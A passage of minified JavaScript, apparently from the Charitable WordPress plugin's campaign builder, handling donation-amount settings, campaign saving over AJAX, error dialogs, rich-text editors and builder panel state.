tbody\").find('input[type=\"text\"].campaign_suggested_donations').eq(theIndex).val($element.val());elements.$preview.find(\".charitable-field-donate-amount li.charitable-preview-donation-amount\").eq(theIndex\u002F2-1).find(\"span\").first().html($element.val())},updateAllowCustomDonationSettings:function(isChecked){const $custom_preview_fields=elements.$preview.find(\".charitable-preview-donation-options .custom-donation-amount\");if(isChecked){$custom_preview_fields.removeClass(\"charitable-hidden\")}else{$custom_preview_fields.addClass(\"charitable-hidden\")}},updateSuggestedDonationAmountDefault:function(selectedValue=0){if(selectedValue>0){$('input[type=\"radio\"].campaign_suggested_donations').prop(\"checked\",false);$('input[type=\"radio\"][value='+selectedValue+\"].campaign_suggested_donations\").prop(\"checked\",true);elements.$preview.find(\".charitable-field.charitable-field-donate-amount li\").removeClass(\"selected\");elements.$preview.find(\".charitable-preview-donation-amounts li:nth-child(\"+selectedValue+\")\").addClass(\"selected\");if(elements.$preview.find('.charitable-field.charitable-field-donate-amount input[type=\"radio\"]').length>0){elements.$preview.find('.charitable-field.charitable-field-donate-amount input[type=\"radio\"]:eq('+(selectedValue-1)+\")\").prop(\"checked\",true)}}else{$(\"input:radio].campaign_suggested_donations\").prop(\"checked\",false)}},getInputType:function($element){var thistest=$element;return thistest[0].tagName.toString().toLowerCase()===\"input\"?$(thistest[0]).prop(\"type\").toLowerCase():thistest[0].tagName.toLowerCase()},updateCampaignCreatorInfo:function(){var data={action:\"charitable_update_campaign_creator\",creator_id:parseInt($(\"select#charitable-panel-field-settings-campaign_campaign_creator_id\").val()),campaign_id:s.formID,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){$(\"#campaign-creator .charitable-campaign-creator-avatar img\").attr(\"src\",response.data.avatar_url);$(\"#campaign-creator h3.creator-name\").html(response.data.creator_name);$(\"#campaign-creator p.joined-on span\").html(response.data.joined_on);$(\"#campaign-creator a.public-profile-link\").attr(\"href\",response.data.public_profile_link);$(\"#campaign-creator a.edit-profile-link\").attr(\"href\",response.data.edit_profile_link)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},formSaveCheck:function(){if($(\"#charitable_settings_title\").val().length===0){$.alert({title:charitable_builder.error_title,content:charitable_builder.error_no_title,icon:\"fa fa-info-circle\",type:\"red\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}});return false}},formSave:function(redirect,preview=false,openNewTabURL=\"\",refreshAfterSave=false){var $saveBtn=elements.$saveButton,$icon=$saveBtn.find(\"img.topbar_icon\"),$spinner=$saveBtn.find(\"i.charitable-loading-spinner\"),$label=$saveBtn.find(\"span\"),currentPostStatus=s.formSavedStatus;if($builder.hasClass(\"charitable-is-revision\")&&!$builder.hasClass(\"charitable-revision-is-saving\")){app.confirmSaveRevision();return}if(app.formSaveCheck()===false){return}if(typeof tinyMCE!==\"undefined\"){tinyMCE.triggerSave()}var event=CharitableUtils.triggerEvent($builder,\"charitableBeforeSave\");if(event.isDefaultPrevented()){return}$(\"#charitable_settings_title\").removeAttr(\"disabled\");$saveBtn.prop(\"disabled\",true);if(preview===false){$label.text(charitable_builder.saving);$icon.addClass(\"charitable-hidden\");$spinner.removeClass(\"charitable-hidden\")}app.updateFormHiddenFields();var data={action:\"charitable_save_campaign\",data:JSON.stringify($(\"#charitable-builder-form\").serializeArray()),id:s.formID,status:s.formStatus,statusLabel:s.formStatusLabel,preview:preview,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){var campaignID=parseInt(response.data.campaign_id);if(refreshAfterSave){if(window.location.href===app.addCampaignIDToURL(campaignID)){window.location.href=app.addCampaignIDToURL(campaignID);return}else{window.location.href=app.addCampaignIDToURL(campaignID);return}}$(\"form#charitable-builder-form\").attr(\"data-id\",campaignID);$('form#charitable-builder-form input[name=\"id\"]').val(campaignID);s.formID=campaignID;if(response.data.field_id){elements.$nextFieldId.val(parseInt(response.data.field_id))}wpchar.savedState=wpchar.getFormState(\"#charitable-builder-form\");wpchar.initialSave=false;$builder.trigger(\"charitableSaved\",response.data);app.updateDebugWindow(response.data,response.data.campaign_id);if(typeof response.data.preview_url!==\"undefined\"&&response.data.preview_url.length>0){app.updatePreviewLink(response.data.preview_url)}if(preview===false){app.setCampaignSaved()}if(true===redirect){window.location.href=charitable_builder.exit_url}if(history.pushState){var newUrl=app.addCampaignIDToURL(campaignID);window.history.pushState({path:newUrl},\"\",newUrl)}else{window.location.href=app.addCampaignIDToURL(campaignID)}s.campaignID=campaignID;if((\"draft\"===currentPostStatus||\"\"===currentPostStatus)&&\"publish\"===response.data.post_status&&response.data.permalink){CharitableCampaignCongratsWizard.openPopup(s.formID,response.data.permalink)}if(\"publish\"===response.data.post_status){elements.$viewCampaignButton.removeClass(\"charitable-disabled\");elements.$viewCampaignButton.attr(\"href\",response.data.permalink);$(\"a.charitable-admin-campaign-link\").attr(\"href\",response.data.permalink);$(\"a.charitable-admin-campaign-link.show-url\").html(response.data.permalink)}else{elements.$viewCampaignButton.addClass(\"charitable-disabled\")}if(\"publish\"===response.data.post_status){elements.$embedButton.prop(\"disabled\",false).removeClass(\"charitable-disabled\")}else{elements.$embedButton.prop(\"disabled\",true).addClass(\"charitable-disabled\")}s.formSavedStatus=response.data.post_status;s.formSavedStatusLabel=response.data.post_status_label;if(openNewTabURL!==\"\"){window.open(openNewTabURL)}var campaignEmedCode=\"[campaign id=&quot;\"+campaignID+\"&quot;]\";$(\"#charitable-admin-campaign-embed-wizard-shortcode-wrap #charitable-admin-campaign-embed-wizard-shortcode\").remove();$(\"#charitable-admin-campaign-embed-wizard-shortcode-wrap\").prepend('\u003Cinput type=\"text\" id=\"charitable-admin-campaign-embed-wizard-shortcode\" class=\"charitable-admin-popup-shortcode\" value=\"'+campaignEmedCode+'\" \u002F>');$(\"#charitable-admin-campaign-embed-wizard-shortcode\").prop(\"disabled\",true);app.setCampaignTitleSet();return app.addCampaignIDToURL(campaignID)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){$label.text(charitable_builder.saved);setTimeout(function(){$label.text(charitable_builder.save)},2500);$saveBtn.prop(\"disabled\",false);$spinner.addClass(\"charitable-hidden\");$icon.removeClass(\"charitable-hidden\")})},formSaveError:function(error){if(wpchar.empty(error)){error=charitable_builder.error_save_form}$.confirm({title:charitable_builder.heads_up,content:\"\u003Cp>\"+error+\"\u003C\u002Fp>\u003Cp>\"+charitable_builder.error_contact_support+\"\u003C\u002Fp>\",icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},formGenericError:function(error){if(wpchar.empty(error)){error=charitable_builder.something_went_wrong}$.confirm({title:charitable_builder.heads_up,content:\"\u003Cp>\"+error+\"\u003C\u002Fp>\u003Cp>\"+charitable_builder.error_contact_support+\"\u003C\u002Fp>\",icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},formGenericNotice:function(error){if(wpchar.empty(error)){error=charitable_builder.something_went_wrong}$.confirm({title:charitable_builder.heads_up,content:\"\u003Cp>\"+error+\"\u003C\u002Fp>\",icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},addCampaignIDToURL:function(campaignID){const currentURL=window.location.href,urlHasQueryString=currentURL.includes(\"?\");let updatedURL=false;if(urlHasQueryString){const queryString=window.location.search,campaignIDExists=queryString.includes(\"campaign_id\");if(campaignIDExists){updatedURL=currentURL.split(\"#\")[0];return updatedURL}else{updatedURL=currentURL.split(\"#\")[0];return updatedURL+\"&campaign_id=\"+campaignID}}else{return currentURL+\"?campaign_id=\"+campaignID}},fieldTabToggle:function(id){const event=CharitableUtils.triggerEvent($builder,\"charitableFieldTabToggle\",[id]);if(event.isDefaultPrevented()){return false}$(\".charitable-tab a\").removeClass(\"active\");$(\".charitable-field, .charitable-preview-top-bar\").removeClass(\"active\");if(id===\"add-layout\"){$(\"#add-layout a\").addClass(\"active\");$(\".charitable-field-options\").hide();$(\".charitable-add-fields\").show()}else if(id===\"layout-options\"){$(\"#layout-options a\").addClass(\"active\");$(\".charitable-add-fields\").hide();$(\".charitable-field-options\").show()}else{$(\"#charitable-field-\"+id).addClass(\"active\");$(\".charitable-field-option\").hide();$(\"#charitable-field-option-\"+id).show();$(\".charitable-add-fields\").hide();$(\".charitable-field-options\").show();$builder.trigger(\"charitableFieldOptionTabToggle\",[id])}wpCookies.set(\"charitable_panel_content_section\",id,2592e3);wpCookies.set(\"charitable_panel_active_field_id\",\"\",2592e3);wpCookies.set(\"charitable_panel_design_layout_options_group\",\"\",2592e3);wpCookies.set(\"charitable_panel_tab_section_tab_id\",\"\",2592e3)},formExit:function(){if(app.formIsSaved()){window.location.href=charitable_builder.exit_url}else{$.confirm({title:false,content:\"\u003Cp>\"+charitable_builder.exit_confirm+\"\u003C\u002Fp>\",icon:\"fa fa-exclamation-circle\",type:\"orange\",closeIcon:true,buttons:{confirm:{text:charitable_builder.save_exit,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){app.formSave(true)}},cancel:{text:charitable_builder.exit,keys:[\"esc\"],action:function(){closeConfirmation=false;window.location.href=charitable_builder.exit_url}}}})}},checkFieldMax:function(type=\"\",max=99){if(type.length===0){var fieldCount=elements.$preview.find(\".charitable-field-\"+type).length;if(fieldCount\u003Cmax){elements.$panelDesign.find(\"button#charitable-add-fields-\"+type).removeClass(\"charitable-disabled\")}}else{elements.$preview.find(\".charitable-field[data-field-max!='']\").each(function(){var max=parseInt($(this).data(\"field-max\")),fieldType=$(this).data(\"field-type\"),fieldCount=typeof fieldType===\"undefined\"||fieldType.length===0?0:elements.$preview.find(\".charitable-field-\"+fieldType).length;if(!isNaN(max)&&max>0&&fieldCount>=max){elements.$panelDesign.find(\"button#charitable-add-fields-\"+fieldType).addClass(\"charitable-disabled\")}})}},checkFieldAllow:function(){wpchar.debug(\"checkFieldAllow\");$.each(s.denyList,function(fieldPresent,fieldsNotAllowed){$.each(fieldsNotAllowed,function(fieldsNotAllowedName,fieldsNotAllowedAmount){app.enableAddFieldButton(fieldsNotAllowedName)})});$.each(s.denyList,function(fieldPresent,fieldsNotAllowed){wpchar.debug(\"fieldPresent: \"+fieldPresent);if(app.checkFieldIsPresent(fieldPresent)){$.each(fieldsNotAllowed,function(fieldsNotAllowedName,fieldsNotAllowedAmount){if(fieldsNotAllowedAmount===0||app.getFieldAmount(fieldsNotAllowedName)>parseInt(fieldsNotAllowedAmount)){wpchar.debug(fieldsNotAllowedName+\" is not allowed\");app.disableAddFieldButton(fieldsNotAllowedName)}})}})},checkAllRecommendedFields:function(){$.each($(\".charitable-add-fields-group-recommended button\"),function(){var type=$(this).data(\"field-type\");app.checkRecommendedFields(type)})},checkRecommendedFields:function(type=false){if(!type||type.length===0){return}var numberOfFieldsByType=elements.$preview.find(\".charitable-field[data-field-type='\"+type+\"']\").length,checkForRecommended=$builder.find(\"#charitable-add-fields-\"+type).parent().find(\".charitable-check\");if(typeof checkForRecommended===\"undefined\"||checkForRecommended.length===0){return}if(numberOfFieldsByType===0){checkForRecommended.removeClass(\"checked\").addClass(\"unchecked\")}else{checkForRecommended.removeClass(\"unchecked\").addClass(\"checked\")}},disableAddFieldButton:function(fieldType){elements.$panelDesign.find(\"button#charitable-add-fields-\"+fieldType).addClass(\"charitable-disabled\")},enableAddFieldButton:function(fieldType=\"\"){elements.$panelDesign.find(\"button#charitable-add-fields-\"+fieldType).removeClass(\"charitable-disabled\")},getFieldAmount:function(fieldType=\"\"){if(fieldType.length===0){return}return elements.$preview.find(\".charitable-field-\"+fieldType).length},checkFieldIsPresent:function(fieldType=\"\"){if(fieldType.length===0){return false}if(app.getFieldAmount(fieldType)>0){return true}return false},setCloseConfirmation:function(confirm){closeConfirmation=!!confirm},formIsSaved:function(){if($(\"#charitable-builder-form input#charitable-form-saved\").val().length===0&&typeof s.formSaved!==\"undefined\"&&s.formSaved.length===0){return true}else{return false}},setCampaignTitleNotSet:function(){$(\".charitable-edit-campaign-title-label\").text(\"Name Your Campaign:\")},setCampaignTitleSet:function(){$(\".charitable-edit-campaign-title-label\").text(\"Now Editing:\")},setCampaignNotSaved:function(enablePreviewButton=false){var the_time=Date.now();$(\"#charitable-builder-form input#charitable-form-saved\").val(the_time);s.formSaved=the_time;elements.$previewButton.removeClass(\"charitable-disabled\")},setCampaignSaved:function(){$(\"#charitable-builder-form input#charitable-form-saved\").val(\"\");s.formSaved=\"\";if(typeof s.formStatus!==\"undefined\"&&s.formStatus===\"publish\"){elements.$previewButton.addClass(\"charitable-disabled\")}else{elements.$previewButton.removeClass(\"charitable-disabled\")}},bindUIMoneyTextFields:function(){$builder.on(\"keydown\",\"input#charitable-panel-field-settings-campaign_minimum_donation_amount, input#charitable-panel-field-settings-campaign_goal\",function(e){var k=e.keyCode||e.which,ok=k==190||k==188||k==32||k==9||k==8||e.ctrlKey&&k==65||e.ctrlKey&&k==67||e.ctrlKey&&k==88||e.ctrlKey&&k==86||e.metaKey&&k==65||e.metaKey&&k==67||e.metaKey&&k==88||e.metaKey&&k==86||k>=96&&k\u003C=105||(k==110||k==190)||k>=37&&k\u003C=40||k==46||k>=48&&k\u003C=57;if(!ok){e.preventDefault()}});$builder.on(\"focusout\",\"input#charitable-panel-field-settings-campaign_minimum_donation_amount, input#charitable-panel-field-settings-campaign_maximum_donation_amount, input#charitable-panel-field-settings-campaign_goal\",function(e){var $this=$(this),val=$this.val(),decimal_separator=charitable_builder.currency_decimal_separator,thousands_separator=charitable_builder.currency_thousands_separator;if(typeof decimal_separator===\"undefined\"||decimal_separator.length===0){return}if(typeof thousands_separator===\"undefined\"||thousands_separator.length===0){return}if(val.length>0&&val.indexOf(decimal_separator)===-1){$this.val(val+decimal_separator+\"00\")}})},bindUISettingsRevealGroups:function(){$.each(elements.$settingsPanel.find(\".charitable-panel-fields-group.unfoldable\"),function(){var $this=$(this),dataGroup=$this.attr(\"data-group\"),dataGroupCookie=wpCookies.get(\"charitable_fold_\"+dataGroup);if(dataGroupCookie===\"true\"&&!$this.hasClass(\"opened\")){$this.addClass(\"opened\");$this.find(\".charitable-panel-fields-group-inner\").show()}});elements.$settingsPanel.on(\"click\",\".charitable-track-cookie\",function(e){var $this=$(this),dataGroup=$this.closest(\".unfoldable\").attr(\"data-group\");if(!$this.closest(\".unfoldable\").hasClass(\"opened\")){wpCookies.set(\"charitable_fold_\"+dataGroup,true,2592e3)}else{wpCookies.remove(\"charitable_fold_\"+dataGroup)}})},checkFieldConditionals:function(){$.each(charitable_campaign_builder_field_conditionals,function(mainUIKey,mainUIValue){var theUIElement=elements.$settingsPanel.find(mainUIKey),changeArray=mainUIValue;if(theUIElement.is('input[type=\"checkbox\"]')){elements.$settingsPanel.on(\"click\",mainUIKey,function(e){var thisUIElement=$(this),isChecked=$(this).is(\":checked\"),checkedFields=changeArray[\"checked\"],uncheckedFields=changeArray[\"unchecked\"];if(isChecked){$.each(checkedFields,function(checkedFieldKey,checkedFieldValue){elements.$settingsPanel.find(checkedFieldValue+\"\").removeClass(\"charitable-hidden\")})}else{$.each(uncheckedFields,function(checkedFieldKey,checkedFieldValue){$.each(checkedFieldValue,function(hidingfieldKey,hidingfieldValue){elements.$settingsPanel.find(hidingfieldValue+\"\").addClass(\"charitable-hidden\")})})}})}if(theUIElement.is('input[type=\"radio\"]')){elements.$settingsPanel.on(\"click\",theUIElement.closest(\".charitable-panel-field-radio-options\").find('input[type=\"radio\"]'),function(e){var thisUIElement=$(theUIElement),isChecked=thisUIElement.is(\":checked\"),checkedFields=changeArray[\"checked\"],uncheckedFields=changeArray[\"unchecked\"],abort=false;if(isChecked){$.each(checkedFields,function(checkedFieldKey,checkedFieldValue){if(checkedFieldKey===\"if\"){$.each(checkedFieldValue,function(checkedIfFieldKey,checkedIfFieldValue){if(checkedIfFieldValue===\"checked\"&&false===elements.$settingsPanel.find(checkedIfFieldKey+\"\").is(\":checked\")){abort=true}})}if(checkedFieldKey===\"show\"&&abort===false){elements.$settingsPanel.find(checkedFieldValue+\"\").removeClass(\"charitable-hidden\")}else if(checkedFieldKey===\"show\"&&abort===true){elements.$settingsPanel.find(checkedFieldValue+\"\").addClass(\"charitable-hidden\")}})}else{$.each(uncheckedFields,function(checkedFieldKey,checkedFieldValue){elements.$settingsPanel.find(checkedFieldValue+\"\").addClass(\"charitable-hidden\")})}})}})},isBuilderInPopup:function(){return window.self!==window.parent&&window.self.frameElement.id===\"charitable-builder-iframe\"},bindUIActionsGeneral:function(){$builder.on(\"click\",\".charitable-panel-fields-group.unfoldable .charitable-panel-fields-group-title\",app.toggleUnfoldableGroup);$builder.on(\"click\",\".go-to-settings-button\",function(e){e.preventDefault();app.panelSwitch(\"settings\");var $this=$(this),section=$this.data(\"settings-section\"),$panel=$(\".charitable-panel-sidebar-content\"),$sectionButtons=$panel.find(\".charitable-panel-sidebar-section\"),$sectionButton=$panel.find(\".charitable-panel-sidebar-section-\"+section),cookieName=\"charitable_panel_sidebar_section\";if(!$sectionButton.hasClass(\"active\")){app.panelSectionSwitchTo(section,$panel,$sectionButtons,$sectionButton);wpCookies.set(cookieName,section,2592e3)}});$builder.on(\"click\",\"#charitable-builder-mobile-notice .charitable-fullscreen-notice-button-primary, #charitable-builder-mobile-notice .close\",function(){window.location.href=charitable_builder.exit_url});$builder.on(\"click\",\"#charitable-builder-mobile-notice .charitable-fullscreen-notice-button-secondary\",function(){window.location.href=wpchar.updateQueryString(\"force_desktop_view\",1,window.location.href)})},initFeedbackForms:function($element){var theForm=$element.closest(\".charitable-form\"),theConfirmation=theForm.find(\".charitable-feedback-form-interior-confirmation\"),data={name:theForm.find(\".charitable-feedback-form-name\").val(),email:theForm.find(\".charitable-feedback-form-email\").val(),feedback:theForm.find(\".charitable-feedback-form-feedback\").val(),type:theForm.find(\".charitable-feedback-form-type\").val()};if(\"\"===data.name||\"\"===data.email||\"\"===data.feedback){$.alert({title:false,content:charitable_builder.feedback_form_fields_required,icon:\"fa fa-info-circle\",type:\"red\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"esc\"],action:function(){}}}})}else{$element.addClass(\"charitable-disabled\");theForm.addClass(\"charitable-processing\");theForm.find(\".charitable-loading-spinner\").removeClass(\"charitable-hidden\");var ajaxData={action:\"charitable_campaign_builder_send_feedback_ajax\",dataType:\"json\",data:data,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,ajaxData,function(response){if(response.success){$element.removeClass(\"charitable-disabled\");theForm.removeClass(\"charitable-processing\");theForm.find(\".charitable-feedback-form-interior\").addClass(\"charitable-hidden\");theConfirmation.removeClass(\"charitable-hidden\");theConfirmation.find(\".charitable-form-confirmation\").removeClass(\"charitable-hidden\")}}).fail(function(xhr,textStatus,e){}).always(function(){})}},toggleUnfoldableGroup:function(e){e.preventDefault();var $title=$(e.target),$group=$title.closest(\".charitable-panel-fields-group\"),$inner=$group.find(\".charitable-panel-fields-group-inner\"),cookieName=\"charitable_fields_group_\"+$group.data(\"group\");if($group.hasClass(\"opened\")){wpCookies.remove(cookieName);$inner.stop().slideUp(150,function(){$group.removeClass(\"opened\")})}else{wpCookies.set(cookieName,\"true\",2592e3);$group.addClass(\"opened\");$inner.stop().slideDown(150)}},updateDebugWindow:function(data,campaignID=0){var ajaxData={action:\"charitable_update_debug_window_ajax\",dataType:\"json\",data:data,id:campaignID,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,ajaxData,function(response){if(response.success){$(\".charitable-debug\").html(response.data)}}).fail(function(xhr,textStatus,e){}).always(function(){})},dismissNotice:function(){$builder.on(\"click\",\".charitable-alert-field-not-available .charitable-dismiss-button\",function(e){e.preventDefault();var $button=$(this),$alert=$button.closest(\".charitable-alert\"),fieldId=$button.data(\"field-id\");$alert.addClass(\"out\");setTimeout(function(){$alert.remove()},250);if(fieldId){$(\"#charitable-field-option-\"+fieldId).remove()}})},initHTMLEditorFields:function($element,minmum=false){if($.inArray($element.attr(\"id\"),s.quilled)==-1){var $container_id=\"#\"+$element.attr(\"id\"),div_height=200,textarea_name=$element.data(\"textarea-name\");if(minmum!==false){var toolbarOptions=[\"bold\",\"italic\",\"underline\",\"strike\"];var quill=new Quill($container_id,{debug:\"info\",theme:\"snow\",modules:{toolbar:toolbarOptions}});$($container_id).css(\"height\",div_height+\"px\");$($container_id).css(\"min-height\",div_height+\"px\");quill.focus;s.quilled.push($element.attr(\"id\"))}else{var quill=new Quill($container_id,{theme:\"snow\"});quill.focus;s.quilled.push($element.attr(\"id\"))}$($container_id).on(\"focus\",\".ql-editor\",function(){var contents=$element.find(\".ql-editor\").html();if($element.closest(\".charitable-panel-field-textarea\").attr(\"data-special-type\")===\"campaign_description\"){$(\"#charitable-panel-field-settings-campaign_description .ql-editor\").html(contents);elements.$preview.find(\".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\"+contents+\"\u003C\u002Fdiv>\");s.campaignDescription=contents}});quill.on(\"text-change\",function(delta,oldDelta,source){var contents=$element.find(\".ql-editor\").html(),tab_id=$element.closest(\".charitable-group-row\").data(\"tab-id\"),field_id=$element.closest(\".charitable-panel-field\").data(\"field-id\");app.setCampaignNotSaved();$('input[name=\"'+textarea_name+'\"]').val(contents);if($element.closest(\".charitable-panel-field-textarea\").attr(\"data-special-type\")===\"campaign_description\"){if($.trim(app.removeTags(contents))===\"\"){elements.$preview.find(\".charitable-campaign-builder-no-description-preview\").removeClass(\"charitable-hidden\");elements.$preview.find(\".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\u003C\u002Fdiv>\");s.campaignDescription=\"\"}else{elements.$preview.find(\".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\"+contents+\"\u003C\u002Fdiv>\");s.campaignDescription=contents}$(\"#charitable-panel-field-settings-campaign_description .ql-editor\").html(contents)}if($element.closest(\".charitable-panel-field-textarea\").attr(\"data-special-type\")===\"campaign_overview\"){if($.trim(app.removeTags(contents))===\"\"){elements.$preview.find(\".charitable-campaign-builder-no-overview-preview\").removeClass(\"charitable-hidden\");elements.$preview.find(\".charitable-field-campaign-overview .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\u003C\u002Fdiv>\");s.campaignDescription=\"\"}else{elements.$preview.find(\".charitable-field-campaign-overview .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\"+contents+\"\u003C\u002Fdiv>\");s.campaignDescription=contents}$(\"#charitable-panel-field-settings-campaign_overview .ql-editor\").html(contents)}if($element.closest(\".charitable-panel-field-textarea\").attr(\"data-special-type\")===\"organizer_content\"){field_id=parseInt($element.closest(\".charitable-panel-field-textarea\").data(\"field-id\"));if($.trim(app.removeTags(contents))===\"\"){elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-organizer-description\").html(\"\u003Cdiv>\u003C\u002Fdiv>\")}else{elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-organizer-description\").html(\"\u003Cdiv>\"+contents+\"\u003C\u002Fdiv>\")}}if($element.closest(\".charitable-panel-field-textarea\").attr(\"data-special-type\")===\"text\"){field_id=parseInt($element.closest(\".charitable-panel-field-textarea\").data(\"field-id\"));if($.trim(app.removeTags(contents))===\"\"){elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\u003C\u002Fdiv>\")}else{elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\"+contents+\"\u003C\u002Fdiv>\")}}if(minmum!==false){var div_height=parseInt($element.find(\".ql-editor\").height()\u002F2);$(\"#tab_\"+tab_id+\"_content .placeholder.big\").css(\"min-height\",div_height+\"px\")}})}else{}},initSuggestedDonations:function($element){wpchar.debug($element,\"initSuggestedDonations\");var $table=$element.closest(\".charitable-campaign-suggested-donations\"),$add_row_button=$element.find(\"[data-charitable-add-row]\"),donation_type=$add_row_button.data(\"charitable-add-row\"),$delete_row_button=$element.find(\".charitable-delete-row\");$add_row_button.on(\"click\",function(event){event.preventDefault();event.stopImmediatePropagation();var type=$(this).data(\"charitable-add-row\");if(\"suggested-amount\"===type){app.add_suggested_amount_row($(this))}else if(\"suggested-recurring-amount\"===type){app.add_suggested_amount_row($(this),\"recurring\")}app.initSuggestedDonations($element);return false});$delete_row_button.on(\"click\",function(event){event.preventDefault();event.stopImmediatePropagation();var donation_type=$(this).closest(\".charitable-campaign-suggested-donations\").find(\"[data-charitable-add-row]\").data(\"charitable-add-row\");if(\"suggested-amount\"===donation_type){app.delete_suggested_amount_row($(this))}else if(\"suggested-recurring-amount\"===donation_type){app.delete_suggested_amount_row($(this),\"recurring\")}app.initSuggestedDonations($element);return false});$(\".charitable-campaign-suggested-donations tbody\").sortable({items:\"tr:not(.to-copy)\",handle:\".handle\",stop:function(event,ui){app.reindex_rows();$(\".charitable-campaign-suggested-donations-mini\").each(function(){app.updateSuggestdDonationsMiniRowsFromSettings($(this));app.redrawDonationAmountsPreview($(this))})}});$table.on(\"click\",\"th.default_amount-col a, a.charitable-clear-defaults\",function(){$table.find(\".default_amount-col input\").prop(\"checked\",false);$(this).blur();return false});$table.on(\"change\",'input[type=\"radio\"]',function(){app.redrawDonationAmountsPreview($table)})},updateSuggestdDonationsMiniRowsFromSettings:function($element,field_id=0){if(0===field_id){field_id=$element.closest(\".charitable-panel-field\").data(\"field-id\")}$element.find(\"tbody\").children(\"tr\").not(\".to-copy\").remove();$(\"#campaign_donation_amounts tbody\").children(\"tr\").not(\".no-suggested-amounts\").not(\".to-copy\").each(function(index){var row_to_add=\"\",updatedIndex=index+1,updatedDonationValue=$(this).find(\".amount-col input\").val(),isChecked=$(this).find(\".default_amount-col input\").is(\":checked\")?\"checked\":\"\";row_to_add=row_to_add+'\u003Ctr class=\"\" data-index=\"'+updatedIndex+'\">';row_to_add=row_to_add+'\u003Ctd class=\"reorder-col\">\u003Cspan class=\"charitable-icon charitable-icon-donations-grab handle ui-sortable-handle\">\u003C\u002Fspan>\u003C\u002Ftd>';row_to_add=row_to_add+'\u003Ctd class=\"default_amount-col\">\u003Cinput '+isChecked+' type=\"radio\" class=\"campaign_suggested_donations\" name=\"_fields]['+field_id+'][donation_amounts][campaign_suggested_donations_default][]\" value=\"'+updatedIndex+'\">\u003C\u002Ftd>';row_to_add=row_to_add+'\u003Ctd class=\"amount-col\">\u003Cinput autocomplete=\"false\" type=\"text\" class=\"campaign_suggested_donations\" name=\"_fields]['+field_id+\"][donation_amounts][\"+updatedIndex+'][amount]\" value=\"'+updatedDonationValue+'\" placeholder=\"Amount\">\u003C\u002Ftd>';row_to_add=row_to_add+'\u003Ctd class=\"description-col\">\u003Cinput type=\"text\" class=\"campaign_suggested_donations\" name=\"_fields]['+field_id+\"][donation_amounts][\"+updatedIndex+'][description]\" value=\"This is a small donation.\" placeholder=\"Optional Description\">';row_to_add=row_to_add+\"\u003C\u002Ftd>\";row_to_add=row_to_add+'\u003Ctd class=\"remove-col\">\u003Cspan class=\"dashicons-before dashicons-dismiss charitable-delete-row\">\u003C\u002Fspan>\u003C\u002Ftd>';row_to_add=row_to_add+\"\u003C\u002Ftr>\";$element.find(\"tbody\").append(row_to_add)});return $element},updateSuggestdDonationsRowsFromSettings:function($miniTableTBody,$element){if(typeof $element===\"undefined\"||$element.length===0){$element=$(\"#campaign_donation_amounts\")}$element.find(\"tbody\").children(\"tr\").not(\".to-copy\").remove();$miniTableTBody.children(\"tr\").not(\".no-suggested-amounts\").not(\".to-copy\").each(function(index){var row_to_add=\"\",updatedIndex=index+1,updatedDonationValue=$(this).find(\".amount-col input\").val(),isChecked=$(this).find(\".default_amount-col input\").is(\":checked\")?\"checked\":\"\";row_to_add=row_to_add+'\u003Ctr class=\"\" data-index=\"'+updatedIndex+'\">';row_to_add=row_to_add+'\u003Ctd class=\"reorder-col\">\u003Cspan class=\"charitable-icon charitable-icon-donations-grab handle ui-sortable-handle\">\u003C\u002Fspan>\u003C\u002Ftd>';row_to_add=row_to_add+'\u003Ctd class=\"default_amount-col\">\u003Cinput '+isChecked+' type=\"radio\" class=\"campaign_suggested_donations\" name=\"settings][donation-options][donation_amounts][campaign_suggested_donations_default][]\" value=\"'+updatedIndex+'\">';row_to_add=row_to_add+'\u003Ctd class=\"amount-col\">\u003Cinput autocomplete=\"off\" type=\"text\" class=\"campaign_suggested_donations\" name=\"settings][donation-options][donation_amounts]['+updatedIndex+'][amount]\" value=\"'+updatedDonationValue+'\" placeholder=\"Amount\">';row_to_add=row_to_add+'\u003Ctd class=\"description-col\">\u003Cinput type=\"text\" class=\"campaign_suggested_donations\" name=\"settings][donation-options][donation_amounts]['+updatedIndex+'][description]\" value=\"This is a small donation.\" placeholder=\"Optional Description\">';row_to_add=row_to_add+\"\u003C\u002Ftd>\";row_to_add=row_to_add+'\u003Ctd class=\"remove-col\">\u003Cspan class=\"dashicons-before dashicons-dismiss charitable-delete-row\">\u003C\u002Fspan>\u003C\u002Ftd>';row_to_add=row_to_add+\"\u003C\u002Ftr>\";$element.find(\"tbody\").append(row_to_add)});return $element},initSuggestedDonationsMini:function($element){wpchar.debug($element,\"initSuggestedDonationsMini\");wpchar.debug(\"initSuggestedDonationsMini\");var 